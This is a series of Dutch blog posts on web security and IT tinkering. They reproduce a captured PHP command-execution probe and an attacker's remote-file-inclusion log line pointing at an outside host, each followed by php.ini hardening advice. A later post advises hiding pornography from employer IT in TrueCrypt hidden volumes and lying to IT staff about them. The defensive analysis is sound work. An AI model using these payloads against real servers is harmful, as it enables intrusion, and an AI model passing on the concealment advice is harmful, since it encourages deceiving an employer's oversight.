WTF: Smartfilter blokkeert Google Desktop, sensoa.be

smartfilter logoIk probeerde net om Google Desktop te downloaden en installeren op mijn uitgeblutste laptop, maar dat is blijkbaar buiten onze filterende proxy gerekend:

Access to this page is denied because it is referenced in a central directory of offending pages and sites and has been categorised as “Instant Messaging;P2P/File Sharing”.

Goed om weten dat Secure Computings Smartfilter niet enkel “anonymizing utilities” (Firefox Switchproxy addon), “nudity” (boingboing), “pornography” (dailymotion.com) en andere “sexual materials” (onze eigen sensoa.be for crying out loud!), maar dus ook de Google malware afblokt. Over het feit dat Secure Computing haar filterings-diensten ook aan censurerende regimes van twijfelachtig allooi levert, zullen we het hier al helemaal niet hebben. Grmbl!

PHP security: Eval is evil?

Naar aanleiding van mijn vorige post een beetje naar de tooltjes zitten kijken die de script kiddies op mijn serverken loslaten. Een voorbeeldje:

<?php
echo “549821347819481<br>”;
$cmd=”id”;
$eseguicmd=ex($cmd);
echo $eseguicmd.”<br>”;
function ex($cfe){
$res = ”;
if (!empty($cfe)){
if(function_exists(‘exec’)){
@exec($cfe,$res);
$res = join(“\n”,$res);
}
elseif(function_exists(‘shell_exec’)){
$res = @shell_exec($cfe);
}
elseif(function_exists(‘system’)){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists(‘passthru’)){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,”r”))){
$res = “”;
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
exit;

Met behulp van achtereenvolgens exec, shell_exec, system, passthru en popen proberen ze dus aan command line functies van het (linux/ unix) OS te geraken?
Alzo; bannen die handel, met de ‘disable_functions in php.ini. En als ge daar dan toch weer aan het editeren zijt, voeg ‘eval‘ ook gerust toe, want daarmee wordt extern verkregen code uitgevoerd …
Aanpassen, Apache herstarten en je applicaties testen, want ge weet nooit of één van die functies toch niet absoluut nodig is voor één of ander obscure PHP-applicatie …

Nodig eens een script kiddie uit

Ha, script kiddies, onzekere puistenkopjes die onze servers onveilig maken met scriptjes die web-sites en -applicaties automatisch scannen op gaatjes en die direct in de aanval gaan als ze zo een gaatje vinden! In mijn logfiles vind ik veel requests van zo’n scripts, bijvoorbeeld:

84.234.71.216 – – [28/Nov/2007:20:49:01 +0100] “GET /index.php?action=http://www.raphael.brasilhost.org/worm/safeon.txt?? HTTP/1.1” 200 22686 “-” “libwww-perl/5.79”

Deze scanner probeert een tekortkoming in één of ander PHP-pakket te exploiteren om vijandige code uit te laten voeren. Je zou misschien verwachten dat die index.php dat niet zomaar toelaat, door o.a. de variabele ‘action’ zelf te initialiseren en te controleren of de inhoud ervan aanvaardbaar is vooraleer die te gebruiken in een include, maar sommige php-developers houden niet genoeg rekening met de kracht van commando’s als fopen, include(_once) en require(_once).
Want in dat gevaarlijke PHP kun je met fopen inderdaad ook remote files openen, handig om bv. rss-feeds te verwerken. Als het externe bestand echter php-code bevat, dan kan de inhoud van die textfile daarna met behulp van eval ook uitgevoerd worden op jouw server. En als je het externe bestand met include of require binnenhaalt, is die tweede stap zelfs niet nodig. Code-injectie dus en geloof me, dat is zelden de bedoeling. ‘Remote code execution’ staat dan ook niet voor niets op de eerste plaats in Owasps PHP top 5 security issues.
Wilt dat zeggen dat je als modale gebruiker dan volledig van het security-bewustzijn van de programmeurs afhangt? Ja eigenlijk, maar in dit geval toch “ja, maar”. Want wie toegang heeft tot php.ini, kan daar allow_url_fopen op false zetten om het binnenhalen van remote files met commando’s uit de fopen-familie onmogelijk te maken. Als je versie van PHP 5.2 of hoger is, kun je ook specifiek allow_url_include op false zetten om enkel het automatisch uitvoeren van code in externe bestanden met include en require te verhinderen. En terwijl je dan toch in je php.ini zit te foefelen, kun je direct ook even controleren of register_globals wel op Off staat, want bovenstaande ‘automated hack attack’ gaat er ook van uit dat die setting lekker ouderwets op “On” staat.

Michel Vuijlsteke vs Firefox (en post redirect warnings)

elementary, dear vuijlsteke!Michel Vuijlsteke heeft het moeilijk met Firefox. Het is “het véruit meest onstabiele programma op heel mijn computer” en dat kan op zich al tellen. Maar laatst vroeg diezelfde browser hem:

“This web page is being redirected to a new location. Would you like to resend the form data you have typed to the new location?”.

Michel was verward, een beetje geërgerd zelfs:

“Nee, Firefox, dat wil ik niet. Of misschien wel. Of nee… aargh! Ik weet het niet! I’m so confused! Ik héb helemaal geen form data ingevuld, en ik wil die helemaal niet doorsturen!”.

Omdat het welzijn van deze opperblogger me nauw aan het hart ligt en -ge moet dat durven toegeven Goossens- omdat ik een Firefox fanboy ben, haalde ik mijn Dearstalker-hoed, kalebas-pijp en vergrootglas nog eens uit de serverkast en leerde al speurend toch weer één en ander bij. Ontdekt U mee?
Alzo: bovenstaande waarschuwing in Firefox wordt door de browser zelf getoond bij een specifiek soort redirect van POST-requests. Er is geen setting in about:config waarmee deze functionaliteit af- en aangezet kan worden en je krijgt de popup niet bij triviale GET-redirects.
De flow van zo een POST-redirect (ik heb snel een voorbeeldje gemaakt, test gerust zelf) ziet er als volgt uit:

  1. gebruiker submit (bewust of m.b.v. javascript) een form met method POST naar server xyz.be
  2. server xyz.be retourneert een http status code 307 met Location abc.be
  3. browser POST de data van het formulier naar abc.be

Een soort bounce dus. Nu hebben de HTTP/1.1 specs (RFC 2616) blijkbaar ook een mening over hoe zo een 307 door de browser moet worden afgehandeld:

“If the 307 status code is received in response to a request other than GET or HEAD, the user agent MUST NOT automatically redirect the request unless it can be confirmed by the user, since this might change the conditions under which the request was issued.”

Eh! Tiens! Een browser moet in principe dus een waarschuwing geven als een POST-request wordt gebouncet? Straf. En wat doen Safari, Opera en MSIE dan? Awel: Opera vraagt ook wat er moet gebeuren (brave jongens, die Noren). Safari volgt de specs al iets minder en redirect zonder morren, maar alle formdata gaat wel verloren (oeps). Enkel MSIE (ook 7) volgt de redirect en herpost zonder een kik te geven. Akkoord, MSIE verwart de gebruikers op die manier niet met onduidelijke waarschuwingen, maar dat middels wat XSS of phishing in combinatie met zo een 307 logins en andere confidentiële data ongemerkt ontfutseld kunnen worden, daar malen we niet om. Toch?
Soit, conclusie voor webdevelopers: gebruik geen form redirects met status 307! De juiste manier om Post/Redirect/Get te implementeren is de form data bij de eerste (post-)request te verwerken en dan pas met een http status 303 (of 302, als ge persé moeilijk wilt doen) een redirect te triggeren.
En een tip voor Michel: Safari 3 voor Windows komt eerstdaags officieel uit (ik gok tegelijkertijd met Leopard, dat zou dus … vandaag zijn). Dat betekent misschien het einde van je Firefoxmiserie? 😉

Web 2.0 insecure? Bullshit (of dan toch grotendeels en nu ook met update)!

Op de Black Hat conference in LA werd gedemonstreerd hoe een GMail- of Facebook-sessie kan worden gehackt.


Voor zover ik kan zien, werd hier eigenlijk een wijd open deur ingetrapt; op een (Wifi-)netwerk alle verkeer naar bv. gmail of facebook sniffen, de session-waarde uit de cookie overnemen in de eigen cookie en voor je het weet zit ik in uw mailbox te snuisteren.
Het probleem heeft eigenlijk helemaal niets met web 2.0 te maken, maar gaat over de vreemde beslissing van oa. Google en Facebook (en eigenlijk zie je dat bijna overal) om enkel het login-proces te beveiligen (achter https te zetten). Eenmaal succesvol aangelogd ga je terug naar onbeveiligd verkeer (http zonder de s van secure) en dan is je cookie dus leesbaar voor iedereen die aan je netwerkverkeer kan.
De oplossing voor GMail is alvast eenvoudig: als je als URL zelf https://mail.google.com ingeeft, ben en blijf je in https en is ook je cookie niet meer zomaar te lezen. Ik heb mijn bookmark al aangepast 🙂 Bij Facebook en Linkedin lijkt dat alvast niet te lukken.
Meer info:

Update: ondertussen zit ik op de trein (bovenstaande had ik nog snel-snel op het werk geschreven) en ik heb nu even tijd om wat verder uit te weiden (en open deuren in te trappen) in de vorm van een paar vragen en antwoorden.
V: waarom zijn die (sessies in) cookies nodig?
A: omdat het web (het onderliggende http-protocol) eigenlijk ‘stateless’. Een request (de logon op Facebook bv.) kan aan serverkant enkel aan een volgende request (narcistisch bekijken van je vriendenlijst) gelinkt worden door middel van een sessie. Die sessie wordt geïdentificeerd door een sessionid, die maar op een paar manieren kan worden uitgewisseld; in een cookie, in een url (als parameter in een GET-request) of in een form (als parameter in een POST-request). Van die drie methodes is een cookie ontegensprekelijk de properste, maar qua security zijn ze in principe quasi even (on-)veilig.
V: waarom steken Google en al die andere hot-shots hun applicaties dan niet volledig achter https?
A: de s in https betekent dat alles geëncrypteerd wordt. Encryptie betekent dat de processoren aan ontvangende maar vooral verzendende kant wat meer werk hebben en dat de hoeveelheid data groter wordt (wat een geëncrypteerde tekst bestaat in principe uit meer karakters dan het origineel). Omdat Google, maar meer nog Facebook, Linkedin en andere fancy applicaties gebaat zijn bij het beperken van CPU-load en te versturen data, werken ze dus liever gewoon in http.
V: en kan die sessie dan niet op een andere manier beveiligd worden?
A: in principe wel, maar dan begeeft een developer zich in woelige wateren. Je zou aan serverkant kunnen bijhouden vanop welk ip-adres de gebruiker inlogt (evt. met nog een paar andere parameters zoals useragent van de browser) en dat voor elke request opnieuw controleren. Als een hacker dan met een sessie aan de haal gaat, is de kans groot (maar niet gegarandeerd) dat die parameters niet overeenkomen en dan kun je die malafide gebruiker vragen terug in te loggen. Andere (aanvullende) mogelijkheden zijn het beperken van de geldigheid van een sessie en het afblokken van gelijktijde gebruik van dezelfde login (het gelijktijdig gebruik van dezelfde sessie). Maar met al deze “oplossingen” is de kans groot dat je op bonafide gebruikers zult moeten lastigvallen om terug aan te loggen of zelfs buitensluiten (in het geval van concurrent sessions) . En dat maakt gebruikers zenuwachtig.
Conclusie: er is geen ontkomen aan, je moet https echt vanaf login tot aan de logout gebruiken (en voor alles, ook images in die pagina’s, anders krijg je in sommige browsers lelijke security-warnings). Eén troost: er bestaan hardware-oplossingen (ssl-encryptie devices en insteekkaarten) om de impact op CPU-load tot een minimum te beperken. Met de grotere hoeveelheid dataverkeer zul je dan maar moeten leren leven 🙂

Pinguïn-vrijheid op je dichtgetimmerde bedrijfslaptop

my butt-ugly homepage in firefox in ubuntu in qemu in windowsOmdat niet elk bedrijf even enthousiast is over de installatie van Linux op de corporate hardware, moet je soms de nodige flexibiliteit aan de dag leggen om toch de weg van De Ware Pinguïn te kunnen bewandelen. Zo ook hier dus.
Het recept om op min of meer te ontsnappen aan Windows, ziet er in mijn geval dan ook als volgt uit:
De ingrediënten:

De bereidingswijze:

  1. Brand de Ubuntu-image op een cdrom
  2. Unzip kqemu
  3. zoek in het kqemu-directory naar kqemu.sys en kqemu.inf. rechtermuisknop-klik op kqemu.inf en selecteer ‘install’ om de driver te installeren.
  4. Unzip qemu
  5. open een command-venster (dos-box) en ga naar het qemu-directory
  6. voer volgend commando uit om een ‘hard disk’ aan te maken:

    qemu-img.exe create -f qcow2 linuxhd.img 3G

    (wat zoveel wilt zeggen als “maak een virtuele harde schijf aan van 3 Gigabyte van het qcow2 type”)

  7. open in het qemu-directory ‘qemu-win.bat’
  8. pas het bestand aan zodat er dit staat en bewaar:
  9. @ECHO OFF
    SET SDL_VIDEODRIVER=directx
    SET SDL_AUDIODRIVER=dsound
    SET QEMU_AUDIO_DRV=dsound
    SET QEMU_AUDIO_LOG_TO_MONITOR=0
    net start kqemu
    qemu.exe -L . -m 256 -cdrom /dev/cdrom -hda linuxhd.img -boot d -kernel-kqemu -soundhw es1370 -localtime
    net stop kqemu

  10. Steek de Ubuntu-cd in je cdrom-lezer
  11. Dubbelklik op het net gewijzigde qemu-win.bat: qemu zal starten en in die virtuele PC zal de Ubuntu-cdrom gelezen worden.
  12. Ubuntu is opgestart, dubbelklik op het ‘install’ icoon op de desktop
  13. Volg de installatie-wizard en laat die op /dev/hda automagisch partities aanmaken en “heel den boel” installeren
  14. Als installatie gedaan is en Ubuntu voorstelt om te rebooten doe je dat, qemu zal gewoon stoppen.
  15. Wijzig qemu-win.bat opnieuw, deze keer naar:
  16. @ECHO OFF
    SET SDL_VIDEODRIVER=directx
    SET SDL_AUDIODRIVER=dsound
    SET QEMU_AUDIO_DRV=dsound
    SET QEMU_AUDIO_LOG_TO_MONITOR=0
    net start kqemu
    qemu.exe -L . -m 256 -hda linuxhd.img -kernel-kqemu -soundhw es1370
    net stop kqemu

    (je kunt -m eventueel op 512 zetten om meer geheugen toe te kennen aan de virtuele machine en ook “-cdrom /dev/cdrom” toevoegen als je nog aan de cdrom wilt kunnen)

  17. Dubbelklik opnieuw op qemu-win.bat en log in op je nieuwe Linux-installatie. Geluid en netwerk werken normaal gezien ‘out of the box’.
  18. Geniet van je herwonnen vrijheid! 😉

Extra info vind je onder andere op:

GroenLicht & Porno: Truecrypt is your friend!

schoon madam eh?Op Groenlicht, een betrekkelijk jonge leuke groepsblog (och, was ik ook maar jong en leuk), vergeilen ze zich aan porno-liefhebberijen op bedrijfscomputers. Niet dat ik een expert in het omzeilen van filters ben, maar als het op het veilig bewaren van data neerkomt, kunnen we wel iets forceren.
Om te vermijden dat je corporate IT-vrienden bij de wekelijkse scan iets onoorbaars vinden, zou je al die mooie dames (en heren, als u dat meer zegt) in een zip-file-met-wachtwoord kunnen opsluiten. Niet moeilijk, maar vooral niet bulletproof: de lijst van files in een beveiligde zipfile is sowieso zonder wachtwoord te bekijken en de encryptie-algoritmes die standaard in zip-software gebruikt worden zijn veel te makkelijk te kraken (pdf).
Waarmee we bij een serieuzer oplossing komen; TrueCrypt! Met TrueCrypt (gratis en open source!) kun je virtuele filesystemen met zeer sterke encryptie aanmaken. Die Truecrypt-filesystemen kun je, mits correct wachtwoord natuurlijk, dan als extra hard disk ‘mounten’. Net zoals bij een usb memory stick, kun je die schijf dan in je Windows Verkenner zien en er al je geheime documenten en andere opwindende bestanden op bewaren. Na gebruik die schijf dismounten en niemand kan er ook maar iets mee doen.
En als de IT-nazi’s je komen vragen wat er in dat geëncrypteerd bestand zit? Makkelijk; je kunt in een TrueCrypt-volume een andere verborgen schijf aanmaken (TrueCrypt in TrueCrypt dus). Op de zichtbare schijf bewaar je dan enkele professionele documenten (“Om te voorkomen dat laptop-dieven bedrijfsgeheimen zouden kunnen inkijken, Mijnheer.”) en je eigen geheime pleziertjes staan dan vol ongeduld op jou te wachten op je verborgen schijf. En klaar is Kees! Zakdoekje jongen?

Slimmer dan je proxy(-admins)!

Proxies zijn vreemde dingen met een olifantengeheugen en bezorgen je soms een oude versie van een file die je van internet wilt plukken. Dat willen we niet en gelukkig is daar een simpele oplossing voor, een eenvoudige “bookmarklet” (stukje javascript-code dat vanuit de bookmarks wordt opgeroepen) zal die proxy wel even voor U temmen.
Een voorbeeld: om de meest recente versie van het fantastische Gilles Peterson’s Worldwide van de StuBru servers te plukken, zonder dat de bedrijfsproxy me de versie van bv. vorige week of afgelopen maand geeft, heb ik ipv dit:

http://download.streampower.be/vrt/stubru/41_41gpwo-hi.mp3

het volgende in mijn bookmarks:

“javascript:(function(){rnd=Math.floor(Math.random()*1000000);url = ‘http://download.streampower.be/vrt/stubru/41_41gpwo-hi.mp3?n=’ + rnd;location.href=url;})()

Deze bookmarklet zal elke keer opnieuw een willekeurig cijfer generen en dat aan de URL plakken (die wordt dan bv. http://download.streampower.be/vrt/stubru/41_41gpwo-hi.mp3?n=234219). Omdat proxies bestanden in cache bijhouden aan de hand van de volledige URL, zal de proxy die file (inclusief random number) niet in zijn geheugen kunnen terugvinden en wordt er speciaal voor jou een nieuwe versie van dat bestand afgehaald. Veel luistergenot!